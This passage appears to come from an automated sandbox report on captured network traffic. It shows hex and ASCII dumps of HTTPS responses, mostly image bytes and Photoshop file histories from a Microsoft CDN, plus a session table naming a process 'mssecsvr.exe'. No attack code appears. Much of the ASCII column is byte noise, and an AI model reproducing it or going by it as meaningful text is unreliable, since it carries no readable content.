5c d5 8b 8b 84 1f 33 3d 7e ef c3 87 50 b6 bc 48 6e 2e 2c 2d ca 18 da e1 8f ef 58 67 1b 55 4f 41 e8 7a d7 9b 37 c3 4b bb 0b 99 ed b4 fb 6b 8d Data Ascii: HU9?J[x#'J)A{p@C0+y{S^Z^mk~>h8=^MO[[`Z%-LWSin`B=npuiuIg{]^3dzGIunrvE=r09>O#ZH[c\3=~PHn.,-XgUOAz7Kk
2022-07-20 13:44:17 UTC	2385	IN	Data Raw: a9 de 5c 3b c1 35 a4 96 88 bf 24 99 f9 41 27 a7 23 af bf 35 b5 2e a9 a3 47 71 1b 35 e4 59 40 11 a3 07 85 ec 49 fc 2b 39 5d e9 b9 a4 1a 8e a7 1d e3 9d 42 eb 55 92 3b b7 f3 32 89 c4 4b 16 dc 2f b1 f5 3e b4 dd 27 5c 7d 36 eb 4c be 7d 3e 39 2e 02 b6 4c b1 90 c9 9f 95 4e 78 27 1c 75 ae cb 52 bd 80 48 64 8a da 19 21 62 a4 66 50 c3 68 18 00 2f 27 df 15 87 75 3a 5c 47 71 69 15 c2 c9 e6 15 fb 4c b3 01 95 1f ec 67 a5 4f 4b 0b 66 f5 24 d6 75 ab dd 0e e9 e5 54 87 4f 82 39 4a c4 d1 00 64 b8 90 8e a4 9c 95 5c e6 a8 e9 5a d4 97 5a ac b1 1b 41 6f 24 db 58 49 16 70 1b 3d 0b 7b d7 37 e2 b7 df aa 6c 8a ed 67 46 51 85 1d 7d 33 d7 8f 6a dc f0 2d f5 96 9b 24 76 a4 fd a2 f9 5d 5d 77 30 29 83 f2 95 3f 9f 63 47 2f 24 6e 25 2e 69 d9 90 cf 06 9b 0f 8e 2c df 50 00 c6 ec db 98 f2 80 Data Ascii: \;5$A'#5.Gq5Y@I+9]BU;2K/>'\}6L}>9.LNx'uRHd!bfPh/'u:\GqiLgOKf$uTO9Jd\ZZAo$XIp={7lgFQ}3j-$v]]w0)?cG/$n%.i,P
2022-07-20 13:44:17 UTC	2687	IN	Data Raw: 19 7a 0b e4 99 77 b3 fc c9 cf af 3d 85 69 69 da 90 99 4a 2b 8e 0e 30 79 1c ff 00 3a e7 cc d0 b4 7b 78 4e 84 e3 a9 a4 85 8d bc d9 4c a7 39 03 3c 0e f4 72 dc d1 54 71 d8 d7 be d5 e5 b5 b8 92 d6 54 26 37 3f 2b 11 cf 5f cb 8a d6 f0 77 8a e6 b4 b9 48 3e d9 32 44 7b 00 08 38 ce 01 07 eb 59 17 06 4d 5e c6 02 4e 66 47 24 8f 41 59 af 65 25 ab 09 63 26 39 3d 7d 6a 6c 9a b3 1d dc 5d d1 e9 1a 25 86 9b 1e b1 7f 7f 77 ba e4 c9 1b 6d 88 a8 05 5f ae 7b f1 da ba f8 2d 85 af 87 50 59 da 46 96 ee cc 21 8e 3c e1 49 52 73 c7 7e a4 9f c2 bc 7f 47 f1 2b da c6 54 86 f3 49 f9 db d4 57 a0 e8 9e 20 6d 2e d9 ee 11 da 48 a6 46 0b 26 78 5c 8c 64 8e 99 fe 75 8c e9 bd d1 d1 4a a2 d9 a3 84 d4 b5 0b fb 19 11 da 59 02 c6 db 01 c9 19 23 d3 3d ab 72 c7 c4 b1 bd aa 5c dc a2 e7 21 d6 22 7d 46 Data Ascii: zw=iiJ+0y:{xNL9<rTqT&7?+_wH>2D{8YM^NfG$AYe%c&9=}jl]%wm_{-PYF!<IRs~G+TIW m.HF&x\duJY#=r\!"}F
2022-07-20 13:44:17 UTC	2727	IN	Data Raw: c8 ea 06 ee 6b f4 b1 b9 bc 5b 7d 93 39 8e dc cd b2 de 02 58 92 47 f4 06 b2 a6 a9 b9 4a 9c 56 a8 25 56 6e d2 6f 71 df 17 fc 45 15 e5 e2 24 07 fe 25 c9 90 b1 8c 6e 2c 0e 32 c7 1c 9a a3 e1 f7 d3 23 f2 f5 3b d9 3e cd 69 95 2b 6d 0a e5 98 70 02 af 51 93 8c 93 5c 4d e5 db ea 17 d2 44 f3 fd a1 15 8c 71 b2 f1 91 9e bf d6 bb 6d 37 42 3a ed ba 0b 63 0a 5b d9 a2 ab 47 1e 71 b8 f0 5b 9e 4e 4f a5 7a 6e 2a 11 48 f3 a3 39 54 a8 d9 77 58 f1 1d f7 8a ae a7 82 d8 be 9f a6 ca e5 8a f3 bd b0 38 0d 8c 9e 7f ba 38 cd 6b f8 63 48 8a c2 4b 45 82 d8 41 98 ff 00 79 2c df 7e 62 49 03 6a 80 76 8e de b5 73 42 d0 6d 20 f2 05 c8 95 a5 f2 db 6c 61 d5 0a 91 cf 2c 71 83 9e c7 a5 4f 36 b1 36 a9 73 26 9f a3 c7 70 f7 b3 37 91 1c 32 ed 52 49 e4 30 6e 9c 60 e4 e7 8a c2 52 e8 b6 3a 63 1f b5 2d Data Ascii: k[}9XGJV%VnoqE$%n,2#;>i+mpQ\MDqm7B:c[Gq[NOzn*H9TwX88kcHKEAy,~bIjvsBm la,qO66s&p72RI0n`R:c-
2022-07-20 13:44:17 UTC	2759	IN	Data Raw: f8 cf de 27 91 52 4d 1a cc d2 41 29 57 1d f1 c8 3f e7 d6 b3 b4 db 92 f2 3a 39 3c 03 f3 62 b5 e2 48 95 23 29 99 1d ce 0a e3 25 7e 86 a5 3e e6 bd 34 38 fd 67 4a 93 4b ba d8 d8 28 c0 ec 20 f5 1e 9f 85 36 d2 77 b7 52 a7 07 23 38 3d 0d 75 3a 8d 89 d5 90 24 91 fc f1 f1 95 e0 f3 eb eb 5c c5 ca 9b 67 68 8e 38 24 74 e7 da ae f7 d0 c3 97 97 54 29 90 ed c9 01 49 1d 00 a6 a2 ed 61 b1 c0 e3 1c 8c f5 1f ce 9b 1a 01 1f 98 64 fa 1c fe 98 f6 a9 3c b3 db e7 07 80 4f 7a 64 0a ac 19 36 91 94 db db af d6 ab 48 81 14 6c f9 49 03 a1 a9 99 12 36 c6 3a 8e 05 48 e8 a5 77 e4 37 18 da 3a fb 1a 36 1d b4 d4 a3 b9 4e 08 e8 4f a9 a8 e4 00 12 c3 9c 60 54 ac f8 50 48 e3 a0 1d fa d2 18 99 f7 90 38 c8 3c 53 22 d7 42 7f ad 5c 2f 27 39 ef cf e1 40 8d 8a e7 00 82 7b fa fa 52 a1 2a b8 2d 80 4f Data Ascii: 'RMA)W?:9<bH#)%~>48gJK( 6wR#8=u:$\gh8$tT)Iad<Ozd6HlI6:Hw7:6NO`TPH8<S"B\/'9@{R*-O
2022-07-20 13:44:17 UTC	2838	IN	Data Raw: 98 c8 e7 8a bd 14 05 d3 7b ed 2b 9e fd f1 da a1 b7 63 f6 8c 8c a7 cd c6 df e5 4d 0f b1 1d b4 0c 57 07 28 17 bd 38 5a 3c 0f 98 cb 6d 3c 86 e9 c0 ed 8a 2e 5b ca 90 94 fb b9 cf 1e bf e7 bd 39 26 2c 85 49 23 3d 33 c7 34 ee 45 95 ec cd 0b 49 a4 4b 81 b5 32 84 85 24 74 cf 5a de 82 e5 61 67 c6 4b 30 c8 cf e5 c9 ae 56 ce 69 ad e3 72 84 65 87 19 3f ad 5f d3 75 18 c6 23 94 e5 b9 39 e9 cf a5 2d cd 22 fa 1a 33 db b5 c5 8b cd 33 33 80 e0 01 dc 67 df d2 b1 6f 6d 7c 94 2e 65 61 21 c8 c7 38 38 ae b3 4c 92 39 d7 f7 81 64 89 86 d7 f4 fa 9f a7 6a c1 d6 34 cf b2 c9 1c 13 ae f4 62 4a c8 32 41 07 a7 22 94 5b ea 39 45 5a e9 15 2d 75 2f 2d 1d f7 9d ec a0 0f a7 b8 ad bb 0b b7 4b 6c ac cc 32 31 b8 9f e5 58 37 1a 7d bd ba 65 24 cf 3c 81 9e b5 a1 6b 75 14 ea 80 fd d5 c0 ca f4 3c 77 Data Ascii: {+cMW(8Z<m<.[9&,I#=34EIK2$tZagK0Vire?_u#9-"333gom\|.ea!88L9dj4bJ2A"[9EZ-u/-Kl21X7}e$<ku<w
2022-07-20 13:44:17 UTC	2862	IN	Data Raw: 2f 2c e5 12 e5 20 dc 13 cb 23 ae 3b 93 ed 43 0d 2c 60 47 66 63 8e 2b a9 9c 64 82 04 61 be 61 db 27 1d 05 4c 0f fc 49 ee 1b 71 91 9c 92 33 ed d7 8e c2 ad 4f 67 1d 86 95 21 73 bc b3 02 24 1c f0 4f 00 0a 8e cd 56 fa df cb 54 6f 2f 20 31 c7 40 3a d4 df a8 9c 7a 0b e1 6d 19 ae a6 89 d9 06 06 19 b2 7a 9c 74 ae ab c4 51 98 16 2c 01 b7 6e 07 07 a7 5c d5 6b 5d 2d bc 34 b6 d7 90 09 24 32 90 89 1a ae 42 b1 e3 92 7a 12 33 5a 5a b4 8d 75 a7 db bc c8 52 46 df 8c f5 23 9e df ae 68 72 be a6 b1 8f 2c 6d d4 e4 60 f0 de 9f a8 5f 3c f7 10 e6 45 21 80 07 1b f3 eb 56 b5 bd 0d 35 2b 50 12 08 e3 20 e7 cb 8d 40 04 0e 99 38 e7 f0 ad 0b 28 3e 68 dc a1 2d 91 bb 8e 9e d5 b1 6f a6 33 dc 20 72 63 18 ce 07 5f 6c 56 53 95 b5 34 8c 2e ad 63 cd 7c 3d e1 89 f5 59 24 b9 b9 02 31 1d c2 c6 91 Data Ascii: /, #;C,`Gfc+daa'LIq3Og!s$OVTo/ 1@:zmztQ,n\k]-4$2Bz3ZZuRF#hr,m`_<E!V5+P @8(>h-o3 rc_lVS4.c\|=Y$1
2022-07-20 13:44:17 UTC	2910	IN	Data Raw: 3c c3 e6 2e e4 7d e6 3d 30 00 c0 1d ba d7 87 5a 78 84 5b 3e 9f 79 e6 10 86 56 8c 9c e3 83 c7 03 e9 de bd 77 c3 d0 a6 8f 79 1c f3 49 b2 29 57 64 71 0f bc c7 19 e4 fb 9a e6 ac ba b3 7a 0e f7 8a 34 f5 cb 3b 97 b6 9c 42 1b 6a a8 8c 5c 31 c1 e4 e7 e5 ef cf 7c 7e 75 e6 7a 8e 91 ab eb fa 92 5b 14 33 45 6a 85 5d b9 48 b7 13 d0 b7 7e 3a e2 bd 5e e1 ae 0e 8b a7 c7 3e 43 4a 59 b7 03 c0 5f 5c fa e3 81 5e 43 e3 ff 00 8b 17 be 19 d6 0d 86 9d 10 74 85 82 92 bd 17 d4 73 d5 bd 4d 74 52 bc 95 a2 65 5a 2a 3a c9 9d 55 a6 96 3c 2d a1 de 09 ca 89 dd 43 1d aa 70 a0 0c 75 3e 83 a6 2b c3 6f 03 6b 5a c5 cc f1 15 8e ce 26 da 8c 3a 37 d2 bd 4b c5 fa bc be 22 f0 ce 9e f2 79 b1 b5 c8 df 24 9e a0 75 fc 2b 97 d3 ec 2c 4d b5 dd 98 e2 64 90 63 81 d9 7b 63 de b7 a4 ac 9c 99 c9 5a cd a8 ad Data Ascii: <.}=0Zx[>yVwyI)Wdqz4;Bj\1\|~uz[3Ej]H~:^>CJY_\^CtsMtReZ*:U<-Cpu>+okZ&:7K"y$u+,Mdc{cZ
2022-07-20 13:44:17 UTC	2918	IN	Data Raw: a4 82 15 0a 23 51 f3 4a c7 ee 81 e9 f4 af 3e b2 b7 12 43 f3 81 e6 39 1b 47 40 06 73 9a f4 9f 0f 4c b7 7e 52 bf ee d2 11 86 6e b9 3d 3a fa d6 75 12 b5 d1 34 9b 37 7c 2d ab 18 2c e3 fb 6c 64 4b 2e 5c c3 1a e4 2f 3c 0c f5 26 bb 76 b5 b9 fb 2f 9b 00 d8 92 15 dc 0f 18 02 b9 e5 b5 33 cf 1c 50 ba db 22 2e 7c cc fc c4 63 a0 3e b5 d6 79 26 d7 4f b7 8c 4a c6 35 ef cf e6 7d 79 e9 5e 6c cf 4e 9d ed a9 89 73 77 71 71 78 96 c9 b2 38 d4 ab cc 5b e6 2a 3d 8f 4a d2 92 45 36 fb e2 e6 44 20 11 e6 6d 01 41 c6 e3 f4 aa e7 54 b6 7b 87 8b e5 08 1b 69 97 03 05 87 60 31 92 6b 2e ee da fa de e2 79 ed 03 15 95 87 fa c0 33 8c f7 1d ba e6 85 ae 83 bd 88 fc 40 16 7b 89 3e cd 38 75 63 fb c6 23 1d 06 7a 9e de 95 99 63 a6 9d 43 56 b6 9c 47 e7 94 c0 03 18 04 82 3a d5 78 c5 d4 2f 3c b3 90 Data Ascii: #QJ>C9G@sL~Rn=:u47\|-,ldK.\/<&v/3P".\|c>y&OJ5}y^lNswqqx8[*=JE6D mAT{i`1k.y3@{>8uc#zcCVG:x/<
2022-07-20 13:44:17 UTC	2959	IN	Data Raw: 64 d7 57 7d e3 fb 6b f7 b9 b7 9c 6f 8d 93 ca 06 3f e1 c7 3d 7e b5 e5 11 12 ad 8f be 72 32 7a 71 56 e2 50 8c 00 7d 80 e5 89 35 0e 37 d4 d5 4d c5 68 6c 5a f8 ca 5d 3e d7 ec c4 99 23 21 86 09 e8 0f 4f c6 b4 2c 2e 24 d5 10 48 96 67 76 78 fe e8 3e e4 d7 1e f0 a7 63 bf 24 9c fd 2b a9 d1 f5 4f 2e d6 de d5 00 d9 e6 6f 90 fa 0a 96 bb 04 24 db d4 e8 ec fc 3f a9 1f 36 e6 52 b0 40 31 82 3a 9e 32 02 d7 69 a5 18 61 b1 72 2d 0b cb b0 23 36 ec 03 fe c8 fc 3a d7 27 71 7b 12 c5 3b 1b 8c be dc 44 41 f9 54 11 e9 ea 7f 4a b1 a6 f8 81 2c 2c fc a8 22 6b cb a3 f3 11 c8 51 9f 5a cf 73 af 99 45 1b fa dd a4 17 36 1e 63 47 e6 48 a9 93 93 82 be 83 f0 1d ab 90 fb 5f da 2d a0 55 8c a2 2b 10 00 00 12 47 ad 75 fa 45 8c fa 9f 9f 3d cd c4 2f c6 5a 25 e9 cf 3d 7d ab 99 1a 5b 6a 1a ad c4 30 Data Ascii: dW}ko?=~r2zqVP}57MhlZ]>#!O,.$Hgvx>c$+O.o$?6R@1:2iar-#6:'q{;DATJ,,"kQZsE6cGH_-U+GuE=/Z%=}[j0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.7	50753	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:44:17 UTC	240	OUT	GET /cms/api/am/imageFileData/RE50CFn?ver=3ce5 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 13:44:17 UTC	273	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 18 Jul 2022 21:04:18 GMT X-Datacenter: northeu X-ActivityId: fc096183-f87f-40ad-9a33-8bbd1d36ea11 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE50CFn?ver=3ce5 X-Source-Length: 1680156 Content-Length: 1680156 Cache-Control: public, max-age=285564 Expires: Sat, 23 Jul 2022 21:03:41 GMT Date: Wed, 20 Jul 2022 13:44:17 GMT Connection: close
2022-07-20 13:44:17 UTC	273	IN	Data Raw: ff d8 ff e1 1b cf 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 34 3a 31 37 20 31 35 3a 31 38 3a 31 38 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.2 (Windows)2022:04:17 15:18:188"
2022-07-20 13:44:17 UTC	305	IN	Data Raw: be 03 a7 fa a1 63 9e 73 1f ef 13 fe 0f fe 82 cb c2 3f 73 f1 71 cf d4 ca 8b f7 0b 9e 4c 1f f0 70 35 fa 5b 76 ee 56 70 7a 26 2f 4e 73 4e 55 63 22 96 87 32 5e d8 0d 69 1e e7 7f 29 fa 7e 72 b2 ee 85 d0 db 00 9b ac 2d d0 ce 45 87 41 af f8 37 26 6f 47 fa b1 58 d8 ec 60 f9 32 d0 5c e7 73 ed f6 fa 8e 77 a7 bd 36 7c dc 27 13 1f 5e bd 40 ff 00 d0 90 6b a0 8c 7e a9 5a ee 83 00 8a aa 6e a3 96 19 93 f4 5c 1d 1e d7 29 7a 7d 00 11 23 14 8f 10 c6 9d 7f ad f4 53 9e 9b d0 88 70 67 4e 32 63 dd b3 fe 96 e7 1f f3 fd c9 c7 40 e8 ff 00 46 bc 26 44 c9 0d 68 11 27 f3 9b fd 55 4c f0 f5 c9 97 f9 7f 84 af 57 f5 7f 16 4d ab a3 b4 4b 19 8f cf fa 36 8f fb ea 8f da 7a 4d 40 b8 fa 42 35 3f a3 6c c9 fe cf e7 28 ff 00 cd ae 94 c6 9d f8 ad 0d 83 25 f6 38 18 71 3b 9b bb 73 54 2e e8 df 56 9a Data Ascii: cs?sqLp5[vVpz&/NsNUc"2^i)~r-EA7&oGX`2\sw6\|'^@k~Zn\)z}#SpgN2c@F&Dh'ULWMK6zM@B5?l(%8q;sT.V
2022-07-20 13:44:17 UTC	321	IN	Data Raw: 31 35 3a 32 38 3a 32 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 38 34 39 31 34 39 35 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 30 54 31 35 3a 32 38 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 42 69 6e 67 2d 4f 6c 79 6d 70 69 63 73 5f 47 65 74 74 79 49 Data Ascii: 15:28:24-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Bing-Olympics_GettyImages-184914957_1080x1920.jpg saved 2016-07-20T15:28:52-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing-Olympics\Chosen\Crops\Bing-Olympics_GettyI
2022-07-20 13:44:17 UTC	394	IN	Data Raw: 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 35 3a 32 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 39 30 36 37 35 33 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 35 37 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 Data Ascii: 0x1920.jpg saved 2016-07-26T10:55:23-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-490675353_1080x1920.jpg saved 2016-07-26T10:57:29-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_Ge
2022-07-20 13:44:17 UTC	556	IN	Data Raw: 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 30 54 31 32 3a 35 35 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 31 39 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 Data Ascii: creen_1080x1920_Portrait.psd saved 2016-08-30T12:55:16-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-08-31T13:19:40-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_P
2022-07-20 13:44:17 UTC	572	IN	Data Raw: 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 54 68 61 6e 6b 73 67 69 76 69 6e 67 5c 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 35 38 36 35 30 36 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 34 54 31 33 3a 31 33 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 Data Ascii: lizagh\MS\Windows10\MomentsInTime\Thanksgiving\MIT-Thanksgiving_GettyImages-545865063_1080x1920.jpg saved 2016-10-14T13:13:27-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF0
2022-07-20 13:44:17 UTC	587	IN	Data Raw: 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 30 37 54 31 30 3a 32 33 3a 31 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4a 61 70 61 6e 5c 5f 43 48 4f 53 45 4e 5c 4a 61 70 61 6e 46 65 65 64 62 61 63 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 35 37 32 37 33 31 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 30 37 54 31 30 3a 32 34 3a 33 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 Data Ascii: ved 2016-11-07T10:23:19-08:00 File C:\Users\v-lizagh\MS\Windows10\Japan\_CHOSEN\JapanFeedback_GettyImages-95727310_1080x1920.jpg saved 2016-11-07T10:24:34-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRec
2022-07-20 13:44:17 UTC	675	IN	Data Raw: 61 70 45 6e 68 61 6e 63 65 6d 65 6e 74 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 36 38 37 31 32 31 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 30 3a 35 39 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 45 64 67 65 2d 54 61 73 6b 56 69 65 77 5f 67 72 61 64 69 65 6e 74 5f 35 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 30 38 30 78 31 39 32 30 35 32 34 42 42 33 34 39 42 34 33 43 42 45 33 32 30 46 46 42 45 38 34 36 38 30 36 38 37 45 45 31 Data Ascii: apEnhancements_GettyImages-676871217_1080x1920.jpg saved 2017-01-11T10:59:18-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Edge-TaskView_gradient_500px-121190395_1080x1920524BB349B43CBE320FFBE84680687EE1
2022-07-20 13:44:17 UTC	707	IN	Data Raw: 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 34 37 3a 30 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 35 30 37 32 31 39 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 34 37 3a 35 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 Data Ascii: ened 2017-02-22T10:47:06-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\March\CHOSEN\MIT-SpringEntertainment_March_GettyImages-515072192_1080x1920.psd saved 2017-02-22T10:47:50-08:00 File C:\Users\v-lizagh\MS\W
2022-07-20 13:44:17 UTC	858	IN	Data Raw: 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 34 30 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 30 31 3a 34 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 Data Ascii: _1080x1920.jpg saved 